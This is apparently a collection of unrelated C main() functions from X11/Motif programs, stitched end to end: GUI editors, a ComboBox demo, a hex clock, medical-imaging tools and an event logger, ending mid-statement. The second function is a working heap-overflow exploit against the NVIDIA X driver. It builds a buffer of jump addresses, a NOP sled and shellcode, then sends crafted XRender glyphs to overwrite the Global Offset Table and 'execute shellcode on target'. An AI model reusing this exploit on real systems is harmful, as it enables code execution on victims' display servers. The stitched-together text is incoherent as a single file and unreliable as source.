int main( int argc, char *argv[]) { MrmInitialize(); appshell = XtAppInitialize(&appContext,"GreatSPN_Motif",NULL,0,&argc,argv,fallback,NULL,0); #ifdef Linux /* Enables the application to talk with editres. For debug purposes only */ /* XmdRegisterEditres(appshell);*/ #endif OpenHierarchy(); if (MrmRegisterNames (regvec, regnum) != MrmSUCCESS) XtError("can't register names\n"); RegisterArcChangeDialog(); RegisterColorChangeDialog(); RegisterPlaceChangeDialog(); RegisterTransChangeDialog(); RegisterShowDialog(); RegisterResultDialog(); RegisterRateDialog(); RegisterPrintDialog(); RegisterMDGrammarDialog(); RegisterMarkDialog(); RegisterViewLayerDialog(); RegisterEditLayerDialog(); RegisterConsoleDialog(); RegisterCommentDialog(); RegisterZooomMenuCallbacks(); RegisterMenuCallbacks(); RegisterRescale(); RegisterGrid(); RegisterMenuValues(); RegisterOptionsDialog(); RegisterSimulationDialog(); RegisterSwnSimOptionsDialog(); RegisterSwnRGOptionsDialog(); RegisterSwnUnfoldOptionsDialog(); /* puts(" ... start FetchWidget"); fflush(stdout);*/ mainwin = FetchWidget(appshell,"MainWin"); /* puts(" ... start InitMainWindow"); fflush(stdout);*/ InitMainWindow(); /* puts(" ... start InitWorkWindow"); fflush(stdout);*/ InitWorkWindow(); /* puts(" ... start InitFonts"); fflush(stdout);*/ InitFonts(); /* puts(" ... start InitMenuBar"); fflush(stdout);*/ InitMenuBar(); /* puts(" ... start InitPopups"); fflush(stdout);*/ InitPopups(); /* puts(" ... start XtManageChild"); fflush(stdout);*/ XtManageChild( mainwin ); /* puts(" ... start XtRealizeWidget"); fflush(stdout);*/ XtRealizeWidget( appshell ); /* puts(" ... start InitFilesPath"); fflush(stdout);*/ InitFilesPath(); /* puts(" ... start InitGSPNShellErrors"); fflush(stdout);*/ InitGSPNShellErrors(); /* puts(" ... start gdiInitEngine"); fflush(stdout);*/ gdiInitEngine(appshell); /* puts(" ... start gdiInitDrawingAreaGC"); fflush(stdout);*/ gdiInitDrawingAreaGC(); /* puts(" ... start InitOther"); fflush(stdout);*/ InitOther(); /* InitMsgDB(); */ /* puts(" ... start XmUpdateDisplay"); fflush(stdout);*/ XmUpdateDisplay(mainwin); /* puts(" ... start XtAppMainLoop"); fflush(stdout);*/ XtAppMainLoop(appContext); return 0; }
int main(int argc, char *argv[]) { Display *display; Widget toplevel; XtAppContext app_con; XEvent event; char c, *string; unsigned int i; XDataStr *data; XExposeEvent *expose = (XExposeEvent *)&event; unsigned int heapaddr, gotaddr; if (argc > 2) { heapaddr = strtoul(argv[1],NULL,0); gotaddr = strtoul(argv[2],NULL,0); } else { printf("Usage: %s <HEAPADDR> <GOTADDR>\n\n", argv[0]); return 0; } toplevel = XtAppInitialize(&app_con, "XSafe", NULL, 0, &argc, argv, NULL, NULL, 0); display = XtDisplay(toplevel); data = (XDataStr *)malloc(sizeof(XDataStr)); if (data == NULL) { perror("malloc"); exit(EXIT_FAILURE); } data->display = display; data->app = app_con; if (createWin(data) < 0) { fprintf(stderr, "can't create Data Window"); exit(EXIT_FAILURE); } show(data); signal(SIGINT, sigHandler); signal(SIGHUP, sigHandler); signal(SIGQUIT, sigHandler); signal(SIGTERM, sigHandler); /************************************************************************ * BEGIN FONT HEAP OVERFLOW SETUP CODE * * "It's so hard to write a graphics driver that open-sourcing it would * not help." * - Andrew Fear, Software Product Manager (NVIDIA Corporation). **********************************************************************/ XGlyphInfo * glyphs; XRenderPictFormat fmt; XRenderPictFormat *mask = 0; GlyphSet gset; char * buf =0; int offset, cr, numB; int xscreenpos = 32680; int magic_len = 32768 - xscreenpos; int wr_addr_len = 3548; int wr_nop_len = 200; /* Calculate the offset to the Global Offset Table. * 0x2C0000 is the size of the buffer the NVIDIA driver * allocates for us when it is about to draw. */ offset = gotaddr-(heapaddr-0x2C0000); offset += magic_len; glyphs = malloc(sizeof(XGlyphInfo)*3); /* Payload glyph */ glyphs[0].width = 0x4000; /* One contiguous buffer of 16K... way more than necessary */ glyphs[0].height = 1; glyphs[0].yOff = 0; glyphs[0].xOff = glyphs[0].width; glyphs[0].x = 0; glyphs[0].y = 0; /* Large offset glyph (untweaked) */ glyphs[1].width=0; glyphs[1].height=0; glyphs[1].yOff=32767; glyphs[1].xOff=0; glyphs[1].x = 0; glyphs[1].y = 0; /* Small offset glyph (tweaked) */ glyphs[2].width=0; glyphs[2].height=0; glyphs[2].yOff=0; glyphs[2].xOff=0; glyphs[2].x = 0; glyphs[2].y = 0; fmt.type = PictTypeDirect; fmt.depth = 8; Glyph * xglyphids = malloc(3*sizeof(Glyph)); xglyphids[0] = 'A'; xglyphids[1] = 'B'; xglyphids[2] = 'C'; int stride = ((glyphs[0].width*1)+3)&~3; /* Needs to be DWORD aligned */ int bufsize = stride*glyphs[0].height; buf = malloc(bufsize); /* Write jump address to the buffer a number of times */ for (cr=0; cr<wr_addr_len; cr+=4) { *((unsigned int*)((unsigned char*)buf + cr)) = gotaddr+wr_addr_len+4; } /* Write the NOP instructions until wr_nop_len */ memset(buf+wr_addr_len, 0x90 /* NOP */, wr_nop_len); /* Write the shellcode */ cr+=wr_nop_len; memcpy(buf+cr, shellcode, sizeof(shellcode)); /* Calculate the number of B's required to send */ numB = offset / (glyphs[1].yOff * magic_len); /* We send only one C, but we change its yOff value according to * how much space we have left before we meet the correct index length */ glyphs[2].yOff = (offset - (numB * glyphs[1].yOff * magic_len)) / (magic_len); /* Now create a new buffer for the string data */ string = malloc(numB+1/*numC*/+1/*numA*/+1/*NULL*/); for (cr=0; cr<numB; cr++) string[cr] = 'B'; string[cr] = 'C'; cr++; string[cr] = 'A'; cr++; string[cr] = 0; mask = XRenderFindFormat(display, PictFormatType|PictFormatDepth, &fmt, 0); gset = XRenderCreateGlyphSet(display, mask); if (mask) { /* Ask the server to tie the glyphs to the glyphset we created, * with our addr/nopslide/shellcode buffer as the alpha data. */ XRenderAddGlyphs(display, gset, xglyphids, glyphs, 3, buf, bufsize); } /* END FONT HEAP OVERFLOW SETUP CODE */ done = 0; while (!done) { XNextEvent(display, &event); switch(event.type) { case KeyPress: i = XLookupString(&event.xkey, &c, 1, NULL, NULL); if ((i == 1) && ((c == 'q') || (c == 'Q'))) { done = 1; } break; case Expose: XftDrawRect(data->draw, &data->bg, expose->x, expose->y, expose->width, expose->height); /* Send malignant glyphs and execute shellcode on target */ XRenderCompositeString8(display, PictOpOver, XftDrawSrcPicture(data->draw, &data->color), XftDrawPicture(data->draw), mask, gset, 0, 0, xscreenpos, 0, string, strlen(string)); break; } } free(glyphs); free(xglyphids); free(buf); free(string); XFlush(display); XUnmapWindow(data->display, data->win); XUngrabKeyboard(data->display, CurrentTime); XCloseDisplay(display); exit(EXIT_SUCCESS); }
int main(int argc, String argv[]) { XmString str; Boolean Trav; XtAppContext AppContext; #if (XmREVISION > 1) XtSetLanguageProc(NULL,NULL,NULL); #endif TopLevel = XtAppInitialize(&AppContext, "XFontSelDemo", NULL, 0, #if (XmREVISION > 1) &argc, #else (Cardinal *) &argc, #endif argv, NULL, NULL, 0); Form = XtVaCreateManagedWidget("form", xmFormWidgetClass, TopLevel, NULL); str = XmStringCreateLtoR("Click to quit", XmSTRING_DEFAULT_CHARSET); Button = XtVaCreateManagedWidget("quit", xmPushButtonWidgetClass, Form, XmNlabelString, str, XmNleftAttachment, XmATTACH_FORM, XmNleftOffset, 8, XmNtopAttachment, XmATTACH_FORM, XmNtopOffset, 8, NULL); XmStringFree(str); XtAddCallback(Button, XmNactivateCallback, (XtCallbackProc) QuitCB, NULL); Sepp = XtVaCreateManagedWidget("separator1", xmSeparatorWidgetClass, Form, XmNleftAttachment, XmATTACH_FORM, XmNrightAttachment, XmATTACH_FORM, XmNtopAttachment, XmATTACH_WIDGET, XmNtopOffset, 8, XmNtopWidget, Button, NULL); str = XmStringCreateLtoR("Choose one:", XmSTRING_DEFAULT_CHARSET); ComboBox1 = XtVaCreateManagedWidget("combobox1", xmComboBoxWidgetClass, Form, XmNeditable, False, XmNsorted, True, XmNleftAttachment, XmATTACH_FORM, XmNleftOffset, 8, XmNrightAttachment, XmATTACH_FORM, XmNrightOffset, 8, XmNtopAttachment, XmATTACH_WIDGET, XmNtopOffset, 8, XmNtopWidget, Sepp, XmNshowLabel, True, XmNlabelString, str, NULL); XmStringFree(str); /* Put string unordered into the combo box! They'll get sorted * by the box. */ str = XmStringCreateLtoR("William the conquerior", XmSTRING_DEFAULT_CHARSET); XmComboBoxAddItem(ComboBox1, str, 0); XmStringFree(str); str = XmStringCreateLtoR("Karl der Gro\337e", XmSTRING_DEFAULT_CHARSET); XmComboBoxAddItem(ComboBox1, str, 0); XmStringFree(str); str = XmStringCreateLtoR("Henry VIII & his chicken band", XmSTRING_DEFAULT_CHARSET); XmComboBoxAddItem(ComboBox1, str, 0); XmStringFree(str); str = XmStringCreateLtoR("Louis XIV", XmSTRING_DEFAULT_CHARSET); XmComboBoxAddItem(ComboBox1, str, 0); XmStringFree(str); str = XmStringCreateLtoR("Louis de Funes", XmSTRING_DEFAULT_CHARSET); XmComboBoxAddItem(ComboBox1, str, 0); XmStringFree(str); str = XmStringCreateLtoR("Helmut Kohl", XmSTRING_DEFAULT_CHARSET); XmComboBoxAddItem(ComboBox1, str, 0); XmStringFree(str); str = XmStringCreateLtoR("James Major", XmSTRING_DEFAULT_CHARSET); XmComboBoxAddItem(ComboBox1, str, 0); XmStringFree(str); str = XmStringCreateLtoR("James Bond", XmSTRING_DEFAULT_CHARSET); XmComboBoxAddItem(ComboBox1, str, 0); XmStringFree(str); str = XmStringCreateLtoR("Billy Boy (M$ Windoze)", XmSTRING_DEFAULT_CHARSET); XmComboBoxAddItem(ComboBox1, str, 0); XmStringFree(str); str = XmStringCreateLtoR("Francois Mitterand", XmSTRING_DEFAULT_CHARSET); XmComboBoxAddItem(ComboBox1, str, 0); XmComboBoxSelectItem(ComboBox1, str, False); XmStringFree(str); str = XmStringCreateLtoR("Choose/edit:", XmSTRING_DEFAULT_CHARSET); ComboBox2 = XtVaCreateManagedWidget("combobox2", xmComboBoxWidgetClass, Form, XmNeditable, True, XmNsorted, True, XmNleftAttachment, XmATTACH_FORM, XmNleftOffset, 8, XmNrightAttachment, XmATTACH_FORM, XmNrightOffset, 8, XmNtopAttachment, XmATTACH_WIDGET, XmNtopOffset, 8, XmNtopWidget, ComboBox1, XmNshowLabel, True, XmNlabelString, str, NULL); str = XmStringCreateLtoR("item can be edited after choosing it", XmSTRING_DEFAULT_CHARSET); XmComboBoxAddItem(ComboBox2, str, 0); XmStringFree(str); str = XmStringCreateLtoR("just to fill the list", XmSTRING_DEFAULT_CHARSET); XmComboBoxAddItem(ComboBox2, str, 0); XmStringFree(str); str = XmStringCreateLtoR("so it contains more entries", XmSTRING_DEFAULT_CHARSET); XmComboBoxAddItem(ComboBox2, str, 0); XmStringFree(str); str = XmStringCreateLtoR("Static ComboBox:", XmSTRING_DEFAULT_CHARSET); ComboBox3 = XtVaCreateManagedWidget("combobox3", xmComboBoxWidgetClass, Form, XmNeditable, True, XmNstaticList, True, XmNsorted, False, XmNcolumns, 30, XmNleftAttachment, XmATTACH_FORM, XmNleftOffset, 8, XmNrightAttachment, XmATTACH_FORM, XmNrightOffset, 8, XmNtopAttachment, XmATTACH_WIDGET, XmNtopOffset, 8, XmNtopWidget, ComboBox2, XmNshowLabel, True, XmNlabelString, str, NULL); XmStringFree(str); str = XmStringCreateLtoR("ComboBox (noneditable)", XmSTRING_DEFAULT_CHARSET); XmComboBoxAddItem(ComboBox3, str, 0); XmStringFree(str); str = XmStringCreateLtoR("ComboBox (editable)", XmSTRING_DEFAULT_CHARSET); XmComboBoxAddItem(ComboBox3, str, 0); XmStringFree(str); str = XmStringCreateLtoR("ComboBox (editable & static List)", XmSTRING_DEFAULT_CHARSET); XmComboBoxAddItem(ComboBox3, str, 0); XmStringFree(str); str = XmStringCreateLtoR("Center widget", XmSTRING_DEFAULT_CHARSET); XmComboBoxAddItem(ComboBox3, str, 0); XmStringFree(str); str = XmStringCreateLtoR("The ButtonFace Library", XmSTRING_DEFAULT_CHARSET); XmComboBoxAddItem(ComboBox3, str, 0); XmStringFree(str); Sepp = XtVaCreateManagedWidget("separator", xmSeparatorWidgetClass, Form, XmNleftAttachment, XmATTACH_FORM, XmNrightAttachment, XmATTACH_FORM, XmNtopAttachment, XmATTACH_WIDGET, XmNtopOffset, 8, XmNtopWidget, ComboBox3, NULL); str = XmStringCreateLtoR( "xmComboBoxWidgetClass Demo\n\nby Harald Albrecht\n\n\ [email protected]", XmSTRING_DEFAULT_CHARSET); Label = XtVaCreateManagedWidget("label", xmLabelWidgetClass, Form, XmNlabelString, str, XmNleftAttachment, XmATTACH_FORM, XmNleftOffset, 80, XmNrightAttachment, XmATTACH_FORM, XmNrightOffset, 80, XmNbottomAttachment, XmATTACH_FORM, XmNbottomOffset, 24, XmNtopAttachment, XmATTACH_WIDGET, XmNtopWidget, Sepp, XmNtopOffset, 24, NULL); XmStringFree(str); XtRealizeWidget(TopLevel); XtAppMainLoop(AppContext); return 0; /* Never will reach this */ } /* main */
// --------------------------------------------------------------------------- int main (int argc, char* argv[]) { int i; struct timezone zone; struct timeval time; struct HEXON_TIME_STRUCT hexon; struct DAYSEC_STRUCT daysec; Widget shell; XtAppContext app; Widget button[0x11]; Pixmap pix[0x11]; Pixel fg; Pixel bg; const char* pixmap_filename[] = { "hexal-0-10x10.xpm", "hexal-1-10x10.xpm", "hexal-2-10x10.xpm", "hexal-3-10x10.xpm", "hexal-4-10x10.xpm", "hexal-5-10x10.xpm", "hexal-6-10x10.xpm", "hexal-7-10x10.xpm", "hexal-8-10x10.xpm", "hexal-9-10x10.xpm", "hexal-A-10x10.xpm", "hexal-B-10x10.xpm", "hexal-C-10x10.xpm", "hexal-D-10x10.xpm", "hexal-E-10x10.xpm", "hexal-F-10x10.xpm" "hexal-dot-10x10.xpm" }; #ifdef USE_PIXMAP_FROM_DATA const char** pixmap_data[] = { (const char**) hexal_0_10x10_xpm, (const char**) hexal_1_10x10_xpm, (const char**) hexal_2_10x10_xpm, (const char**) hexal_3_10x10_xpm, (const char**) hexal_4_10x10_xpm, (const char**) hexal_5_10x10_xpm, (const char**) hexal_6_10x10_xpm, (const char**) hexal_7_10x10_xpm, (const char**) hexal_8_10x10_xpm, (const char**) hexal_9_10x10_xpm, (const char**) hexal_A_10x10_xpm, (const char**) hexal_B_10x10_xpm, (const char**) hexal_C_10x10_xpm, (const char**) hexal_D_10x10_xpm, (const char**) hexal_E_10x10_xpm, (const char**) hexal_F_10x10_xpm, (const char**) hexal_dot_10x10_xpm }; #endif Set_Epoch (DEFAULT_EPOCH); Set_Format (DEFAULT_FORMAT); shell = XtAppInitialize (&app, "xHexClock", NULL, 0, &argc, argv, NULL, NULL, 0); for (i = 1; i < argc; i++) { char* argument = argv[i]; if ((strcmp (argument, "--help") == 0) || (strcmp (argument, "-h") == 0)) Usage(); else if (strequ (argument, "--epoch=" )) Set_Epoch (strchr (argument, '=') + 1); else if (strequ (argument, "--format=")) Set_Format (strchr (argument, '=') + 1); else if (strequ (argument, "--verbose")) verbose = 1; else { fprintf (stderr, PROGRAM_NAME ": *** error: unknown option \"%s\".\n\n", argument); Usage(); } } gettimeofday (&time, &zone); Set_Unix_Time (&daysec, &time, &zone); if (verbose) { printf ("Unix time (seconds.microseconds): %lu.%06lu (hex 0x%lx/0x%05lx.\n", time.tv_sec, time.tv_usec, time.tv_sec, time.tv_usec); printf ("Unix daysec (days.seconds): %lu.%05lu (hex 0x%lx/0x%05lx.\n", daysec.day, (long) daysec.sec, daysec.day, (long) daysec.sec); printf ("Epoch daysec (days.seconds): %lu.%05lu (hex 0x%lx/0x%05lx.\n", epoch.day, (long) epoch.sec, epoch.day, (long) epoch.sec); } daysec_sub (&daysec, &daysec, &epoch); if (verbose) { printf ("Daysec since epoch (days.seconds): %lu.%05lu (hex 0x%lx/0x%05lx.\n", daysec.day, (long) daysec.sec, daysec.day, (long) daysec.sec); } Hexon_Set_Day_Second (&hexon, daysec.day, daysec.sec); if (verbose) { printf ("Decimal hexon = %20.6f.\n", hexon.hexon); } // if (!Hexon_Print (stdout, output_format, &hexon)) // { // fprintf (stderr, PROGRAM_NAME ": *** error: could not print using format \"%s\".\n", Null_Check (output_format)); // return 1; // } XtVaGetValues (shell, XmNforeground, &fg, XmNbackground, &bg, NULL); XtRealizeWidget (shell); for (i = 0; i < 3 /* 0x10 */; i++) { #if defined (USE_PIXMAP_FROM_DATA) XpmAttributes attributes; int status; Display* display = XtDisplay (shell); Pixmap mask; XpmColorSymbol symbols[2]; #endif // button[i] = XtCreateManagedWidget (pixmap_filename[i], xmLabelWidgetClass, shell, NULL, 0); button[i] = XtVaCreateManagedWidget (pixmap_filename[i], xmLabelWidgetClass, shell, XmNx, i * 32, XmNy, 0, NULL); #if !defined (USE_PIXMAP_FROM_DATA) pix[i] = XmGetPixmap (XtScreen (shell), (char*) pixmap_filename[i], fg, bg); if (pix[i]) { XtVaSetValues (button[i], XmNlabelType, XmPIXMAP, XmNlabelPixmap, pix[i], #if 0 XmNx, 0, XmNy, 0, XmNwidth, 16, XmNheight, 16, #endif NULL); } #else symbols[0].name = "background"; symbols[0].value = NULL; symbols[0].pixel = bg; // symbols[1].name = "foreground"; // symbols[1].value = NULL; // symbols[1].pixel = fg; attributes.colorsymbols = symbols; attributes.numsymbols = 1; XtVaGetValues (button[i], XmNdepth, &attributes.depth, XmNcolormap, &attributes.colormap, NULL); attributes.visual = DefaultVisual (display, DefaultScreen (display)); attributes.valuemask = 0; // XpmDepth | XpmColormap | XpmVisual | XpmColorSymbols; status = XpmCreatePixmapFromData (display, DefaultRootWindow (display), (char**) pixmap_data[i], &pix[i], &mask, &attributes); if (mask /* != NULL */) XFreePixmap (display, mask); if (status == XpmSuccess) { XtVaSetValues (button[i], XmNlabelType, XmPIXMAP, XmNlabelPixmap, pix[i], XmNx, i * 16, XmNy, 0, XmNwidth, 16, XmNheight, 16, NULL); } #endif } // For each hexal symbol pixmap. // XtRealizeWidget (shell); XtAppMainLoop (app); return 0; } // main
void main(int argc, char *argv[]) { int height, width, temp; Boolean GOT_QID = False; CONDITION cond; toplevel = XtAppInitialize( /* create application context */ &app_ctx, "print_server_display", NULL, 0, #ifdef SOLARIS (Cardinal *) & argc, #else &argc, #endif argv, NULL, NULL, 0); width = MAX_WIDTH - 10; height = MAX_HEIGHT - 10; argc--; argv++; while (argc > 0) { if (strcmp(*argv, "-w") == 0) { argc--; argv++; temp = atoi(*argv); if (temp < MIN_WIDTH) { fprintf(stderr, "Height must be > %d\n", MIN_WIDTH); UsageError(); exit(0); } if (temp > MAX_WIDTH) { fprintf(stderr, "Height must be < %d\n", MAX_WIDTH); UsageError(); exit(0); } width = temp; argc--; argv++; } else if (strcmp(*argv, "-h") == 0) { argc--; argv++; temp = atoi(*argv); if (temp < MIN_HEIGHT) { fprintf(stderr, "Height must be > %d\n", MIN_HEIGHT); UsageError(); exit(0); } if (temp > MAX_HEIGHT) { fprintf(stderr, "Height must be < %d\n", MAX_HEIGHT); UsageError(); exit(0); } height = temp; argc--; argv++; } else if (strcmp(*argv, "-v") == 0) { argc--; argv++; (void) COND_EstablishCallback(cond_CB); } else { if (argc != 1) { fprintf(stderr, "Only the last parameter is a none switch\n"); UsageError(); exit(0); } queue_id = atoi(*argv); if (queue_id == 0) { fprintf(stderr, "Invalid queueu ID\n"); UsageError(); exit(0); } argc--; argv++; GOT_QID = True; } } if (GOT_QID == False) { fprintf(stderr, "Error: Missing QID\n"); UsageError(); exit(0); } THR_Init(); /* The print_server_display creates a GQ with the specified ID */ cond = GQ_InitQueue(queue_id, 128, sizeof(GQ_ELEM)); if (cond != GQ_NORMAL) { fprintf(stderr, "GQ_InitQueue failed to create GQ with ID : %d\n", queue_id); COND_DumpConditions(); exit(1); } /* now get hold of the just created GQ */ cond = GQ_GetQueue(queue_id, sizeof(GQ_ELEM)); switch (cond) { case GQ_SHAREDMEMORYFAIL: fprintf(stderr, "GQ Shared Memory failed\n"); exit(0); case GQ_FILEACCESSFAIL: fprintf(stderr, "GQ File Access failed\n"); exit(0); case GQ_BADELEMSIZE: fprintf(stderr, "GQ Bad Element Size\n"); exit(0); case GQ_UNIMPLEMENTED: fprintf(stderr, "GQ Unimplemented\n"); exit(0); case GQ_NORMAL: break; } session_list = LST_Create(); printf("width = %d, height = %d\n", width, height); createMainWin(); XtRealizeWidget(toplevel); DISP_Initialize(toplevel, width, height); /* DISP_CreateSession("1.2.840.113654.2.3.1993.9.123.9.3221", "test", &session_list); DISP_AddBox("test", "PRN_13674.2", &session_list); DISP_AddBox("test2", "PRN_13674.2", &session_list); DISP_SetImage("1.2.840.113654.2.3.1993.9.123.9.3226", "PRN_13674.5", &session_list); DISP_SetImage("1.2.840.113654.2.3.1993.9.123.9.3225", "PRN_13674.4", &session_list); DISP_SetImage("1.2.840.113654.2.3.1993.9.123.9.3226", "PRN_13674.3", &session_list); */ /*lint -e64*/ XtAppAddTimeOut(app_ctx, TIMEOUT, pollQueue, NULL); /*lint +e64*/ XtAppMainLoop(app_ctx); THR_Shutdown(); }
int main(int argc, char *argv[]) { XETrapGetAvailRep ret_avail; XETrapGetCurRep ret_cur; XETC *tc; ReqFlags requests; EventFlags events; XtAppContext app; char *tmp = NULL; INT16 ch; int *popterr; char **poptarg; #ifndef vms popterr = &opterr; poptarg = &optarg; #else popterr = XEgetopterr(); poptarg = XEgetoptarg(); #endif eventFlag = False; ofp = NULL; *popterr = 0; /* don't complain about -d (display) */ while ((ch = getopt(argc, argv, "d:evf:")) != EOF) { switch(ch) { case 'e': eventFlag = True; break; case 'v': verboseFlag = True; break; case 'f': if ((ofp = fopen(*poptarg,"wb")) == NULL) { /* can't open it */ fprintf(stderr,"%s: could not open output file '%s'!\n", ProgName, *poptarg); } break; case 'd': /* -display, let's let the toolkit parse it */ break; default: break; } } ofp = (ofp ? ofp : stdout); appW = XtAppInitialize(&app,"XTrap",optionTable,(Cardinal)2L, (int *)&argc, (String *)argv, (String *)NULL,(ArgList)&tmp, (Cardinal)NULL); dpy = XtDisplay(appW); #ifdef DEBUG XSynchronize(dpy, True); #endif fprintf(stderr,"Display: %s \n", DisplayString(dpy)); if ((tc = XECreateTC(dpy,0L, NULL)) == False) { fprintf(stderr,"%s: could not initialize XTrap extension\n",ProgName); exit (1L); } XETrapSetTimestamps(tc,True, False); (void)XEGetAvailableRequest(tc,&ret_avail); XEPrintAvail(stderr,&ret_avail); XEPrintTkFlags(stderr,tc); /* Need to prime events/requests initially turning all off */ (void)memset(requests,0L,sizeof(requests)); (void)memset(events,0L,sizeof(events)); /* Now turn on the ones you really want */ (void)memset(events,0xFFL,XETrapMaxEvent); if (eventFlag == False) { /* doesn't want just events */ (void)memset(requests,0xFFL,XETrapMaxRequest); /* Turn off XTrap Requests for multi-client regression tests & XLib */ BitFalse(requests, XETrapGetExtOpcode(tc)); /* Turn off noisy events */ BitFalse(events, MotionNotify); } if (verboseFlag == True) { /* want's *all* requests/events */ (void)memset(requests,0xFFL,XETrapMaxRequest); (void)memset(events,0xFFL,XETrapMaxEvent); } /* Tell the TC about it */ XETrapSetRequests(tc, True, requests); XETrapSetEvents(tc, True, events); XETrapSetMaxPacket(tc, True, XETrapMinPktSize); /* just get the minimum */ /* Set up callbacks for data */ XEAddRequestCBs(tc, requests, print_req_callback, NULL); XEAddEventCBs(tc, events, print_evt_callback, NULL); (void)XEStartTrapRequest(tc); (void)XEGetCurrentRequest(tc,&ret_cur); XEPrintCurrent(stderr,&ret_cur); /* Add signal handlers so that we clean up properly */ _InitExceptionHandling((void_function)SetGlobalDone); (void)XEEnableCtrlKeys((void_function)SetGlobalDone); XETrapAppWhileLoop(app,tc,&GlobalDone); /* Make sure <CTRL> key is released */ XESimulateXEventRequest(tc, KeyRelease, XKeysymToKeycode(dpy, XK_Control_L), 0L, 0L, 0L); /* close down everything nicely */ XEFreeTC(tc); (void)XCloseDisplay(dpy); (void)XEClearCtrlKeys(); _ClearExceptionHandling(); exit(0L); }
int main(int argc, char *argv[]) { Arg al[20]; int ac; int canvaswidth, canvasheight; /* read command line options */ if (Read_options (argc, argv) != 0) exit (-1); /* create the toplevel shell */ toplevel = XtAppInitialize(&context, "", NULL, 0, &argc, argv, NULL, NULL, 0); CS_error((void (*) ()) printf); printf("We serve line %d\n", Cur_link_ind); SIM_init (In_lb, Out_lb); /* default window size. */ ac = 0; canvaswidth = 400; canvasheight = 700; XtSetArg(al[ac], XmNheight, canvaswidth); ac++; XtSetArg(al[ac], XmNwidth, canvasheight); ac++; XtSetValues(toplevel, al, ac); /* create a form widget. */ ac = 0; form = XmCreateForm(toplevel, "form", al, ac); XtManageChild(form); /* create a menu bar and attach it to the form. */ ac = 0; XtSetArg(al[ac], XmNtopAttachment, XmATTACH_FORM); ac++; XtSetArg(al[ac], XmNrightAttachment, XmATTACH_FORM); ac++; XtSetArg(al[ac], XmNleftAttachment, XmATTACH_FORM); ac++; menu_bar = XmCreateMenuBar(form, "menu_bar", al, ac); XtManageChild(menu_bar); /* create a textshow widget and attach it to the form. */ ac = 0; XtSetArg(al[ac], XmNtopAttachment, XmATTACH_WIDGET); ac++; XtSetArg(al[ac], XmNtopWidget, menu_bar); ac++; XtSetArg(al[ac], XmNrightAttachment, XmATTACH_FORM); ac++; XtSetArg(al[ac], XmNleftAttachment, XmATTACH_POSITION); ac++; XtSetArg(al[ac], XmNleftPosition, 0); ac++; XtSetArg(al[ac], XmNbottomAttachment, XmATTACH_POSITION); ac++; XtSetArg(al[ac], XmNbottomPosition, 93); ac++; XtSetArg(al[ac], XmNeditMode, XmMULTI_LINE_EDIT); ac++; textshow = XmCreateScrolledText(form, "text", al, ac); XtManageChild(textshow); XmTextSetEditable(textshow, False); Create_menus(menu_bar); XtAppAddTimeOut(context, 950, (XtTimerCallbackProc) timer_callback, (XtPointer) NULL); XtRealizeWidget(toplevel); XtAppMainLoop(context); return (0); }
main(int argc, char *argv[]) #endif /* _NO_PROTO */ { char *databaseName = "CTNControl"; CONDITION cond; CTNBOOLEAN verboseTBL = FALSE; /*----------------------------------------------------------- * Declarations. * The default identifier - mainIface will only be declared * if the interface function is global and of type swidget. * To change the identifier to a different name, modify the * string mainIface in the file "xtmain.dat". If "mainIface" * is declared, it will be used below where the return value * of PJ_INTERFACE_FUNCTION_CALL will be assigned to it. *----------------------------------------------------------*/ Widget mainIface; /*--------------------------------- * Interface function declaration *--------------------------------*/ Widget create_applicationShell1(swidget); swidget UxParent = NULL; /*--------------------- * Initialize program *--------------------*/ #ifdef XOPEN_CATALOG if (XSupportsLocale()) { XtSetLanguageProc(NULL, (XtLanguageProc) NULL, NULL); } #endif SgePreInitialize(&argc, argv); UxTopLevel = XtAppInitialize(&UxAppContext, "cfg_ctn_tables", NULL, 0, &argc, argv, NULL, NULL, 0); UxDisplay = XtDisplay(UxTopLevel); UxScreen = XDefaultScreen(UxDisplay); /* * We set the geometry of UxTopLevel so that dialogShells that are * parented on it will get centered on the screen (if defaultPosition is * true). */ XtVaSetValues(UxTopLevel, XtNx, 0, XtNy, 0, XtNwidth, DisplayWidth(UxDisplay, UxScreen), XtNheight, DisplayHeight(UxDisplay, UxScreen), NULL); /*------------------------------------------------------- * Insert initialization code for your application here *------------------------------------------------------*/ while (--argc > 0 && *(++argv)[0] == '-') { switch ((*argv)[1]) { case 'f': if (argc-- < 1) exit(1); databaseName = *++argv; break; case 'h': usageerror(); break; case 'x': if (argc-- < 0) usageerror(); argv++; if (strcmp(*argv, "TBL") == 0) verboseTBL = TRUE; else usageerror(); break; default: printf("Unrecognized option: %s\n", *argv); break; } } TBL_Debug(verboseTBL); THR_Init(); cond = DMAN_Open(databaseName, "", "", &dmanHandle); if (cond != DMAN_NORMAL) { COND_DumpConditions(); exit(1); } /*---------------------------------------------------------------- * Create and popup the first window of the interface. The * return value can be used in the popdown or destroy functions. * The Widget return value of PJ_INTERFACE_FUNCTION_CALL will * be assigned to "mainIface" from PJ_INTERFACE_RETVAL_TYPE. *---------------------------------------------------------------*/ mainIface = create_applicationShell1(UxParent); UxPopupInterface(mainIface, no_grab); /*----------------------- * Enter the event loop *----------------------*/ XtAppMainLoop(UxAppContext); }
void main(int argc, char **argv) { int i=21,forcer=0; /* init variables. */ Display *p_disp; FILE *fpo; char text[]="MultiSliceRTPsession0"; /* Create the top-level shell widget and initialize the toolkit */ argcount = 0; XtSetArg(args[argcount], XmNallowShellResize, False); argcount++; XtSetArg(args[argcount], XmNtitle, APP_TITLE); argcount++; XtSetArg(args[argcount], XmNiconName, ICON_TITLE); argcount++; top_level = XtAppInitialize(&app, "Slice", NULL, 0, &argc, argv, NULL, args, argcount); theAppName = argv[0]; #include "command_slice.c" /* Create the main window widget */ argcount = 0; /* XtSetArg(args[argcount], XmNwidth , WIDTH); argcount++; XtSetArg(args[argcount], XmNheight, HEIGHT); argcount++; */ main_window = XmCreateRowColumn(top_level, "Main", args, argcount); XtManageChild(main_window); p_disp=XtDisplay(main_window); if(forcer != 1) { /* if(XFetchBytes(p_disp,&i) != NULL){ if(i==21){ fprintf(stderr,"\nOnly one copy of MultiSlice can run at one time...\nslice -forceload will forcibly load a second copy.\nSelf-Destruct Initialised...\nSecond copy destructed...OK\n"); XtCloseDisplay(XtDisplay(main_window));exit(-1);}} i=21; XStoreBytes(p_disp,text,i); */ if((fopen("slicetempyhsTN","r")) != 0){ fprintf(stderr,"\nOnly one copy of MultiSlice RTP can run at one time...\nslice -forceload will forcibly load a second copy if \n the first one was terminated incorrectly.\n"); system("cat slicetempyhsTN"); fprintf(stderr,"\nSelf-destruct initialised...\nSecond copy destructed...OK\n"); 